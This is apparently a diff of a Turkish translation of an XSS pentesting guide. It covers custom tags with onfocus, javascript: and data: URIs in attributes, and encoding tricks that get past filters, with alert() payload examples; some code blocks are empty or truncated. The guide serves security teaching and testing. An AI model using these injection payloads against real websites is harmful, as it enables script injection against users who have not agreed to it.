-Eğer geçerli bir HTML etiketi bulamazsanız, **özel bir etiket oluşturmayı** deneyebilir ve `onfocus` özelliği ile JS kodu çalıştırabilirsiniz. XSS isteğinde, URL'yi `#` ile bitirmeniz gerekiyor, böylece sayfa **o nesneye odaklanır** ve kodu **çalıştırır**:
+Eğer geçerli bir HTML etiketi bulamadıysanız, **özel bir etiket oluşturmayı** deneyebilir ve `onfocus` özelliği ile JS kodu çalıştırabilirsiniz. XSS isteğinde, URL'yi `#` ile bitirmeniz gerekecek, böylece sayfa **o nesneye odaklanacak** ve kodu **çalıştıracaktır**:
```
/?search=#x
```
@@ -276,11 +276,11 @@ Eğer **etiketten kaçamazsanız**, etikette yeni nitelikler oluşturarak JS kod
### Attribute içinde
**Özellikten kaçamazsanız bile** (`"` kodlanıyor veya siliniyor), **değerinizin hangi özellikte yansıtıldığına bağlı olarak** **değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize** bağlı olarak bunu kötüye kullanabilirsiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklandığında rastgele kod çalıştırmasını sağlayabilirsiniz.\
-Bir diğer ilginç **örnek** ise `href` özelliğidir; burada rastgele kod çalıştırmak için `javascript:` protokolünü kullanabilirsiniz: **`href="javascript:alert(1)"`**
+Başka ilginç bir **örnek**, `href` özelliğidir; burada rastgele kod çalıştırmak için `javascript:` protokolünü kullanabilirsiniz: **`href="javascript:alert(1)"`**
-**HTML kodlaması/URL kodlaması kullanarak olay içinde atlatma**
+**HTML kodlaması/URL kodlaması kullanarak olay içindeki atlatma**
-HTML etiket özelliklerinin değerindeki **HTML kodlanmış karakterler** **çalışma zamanında çözülür**. Bu nedenle aşağıdaki gibi bir şey geçerli olacaktır (yükleme bold olarak belirtilmiştir): `Geri Dön `
+HTML etiket özelliklerinin değerindeki **HTML kodlanmış karakterler** **çalışma zamanında çözülür**. Bu nedenle aşağıdaki gibi bir şey geçerli olacaktır (yükleme kalın yazılmıştır): `Geri Dön `
**Her türlü HTML kodlaması geçerlidir**:
```javascript
@@ -311,7 +311,7 @@ HTML etiket özelliklerinin değerindeki **HTML kodlanmış karakterler** **çal
```
### Özel Protokoller İçinde attribute
-Burada bazı yerlerde **`javascript:`** veya **`data:`** protokollerini **rastgele JS kodu çalıştırmak için** kullanabilirsiniz. Bazıları kullanıcı etkileşimi gerektirecek, bazıları ise gerektirmeyecek.
+Burada bazı yerlerde **`javascript:`** veya **`data:`** protokollerini **rastgele JS kodu çalıştırmak** için kullanabilirsiniz. Bazıları kullanıcı etkileşimi gerektirecek, bazıları ise gerektirmeyecek.
```javascript
javascript:alert(1)
JavaSCript:alert(1)
@@ -359,7 +359,7 @@ _**Bu durumda, bir öznitelik içinde olduğunuz için önceki bölümdeki HTML
```javascript
```
-Ayrıca, bu durumlar için başka bir **güzel numara** var: **Girdiğiniz `javascript:...` URL kodlanmış olsa bile, çalıştırılmadan önce URL çözülür.** Yani, eğer **tek tırnak** kullanarak **string**'den **kaçmak** gerekiyorsa ve **URL kodlandığını** görüyorsanız, **önemli değil,** çalıştırma sırasında **tek tırnak** olarak **yorumlanacaktır.**
+Ayrıca, bu durumlar için başka bir **güzel numara** var: **`javascript:...` içindeki girdiniz URL kodlanmış olsa bile, çalıştırılmadan önce URL çözülür.** Yani, **tek tırnak** kullanarak **string**'den **kaçmak** gerekiyorsa ve **URL kodlandığını** görüyorsanız, **önemli değil,** çalıştırma sırasında **tek tırnak** olarak **yorumlanacaktır.**
```javascript
'-alert(1)-'
%27-alert(1)-%27
@@ -385,7 +385,7 @@ Not edin ki eğer **her ikisini de** `URLencode + HTMLencode` herhangi bir sıra
```javascript
Subscribe to newsletter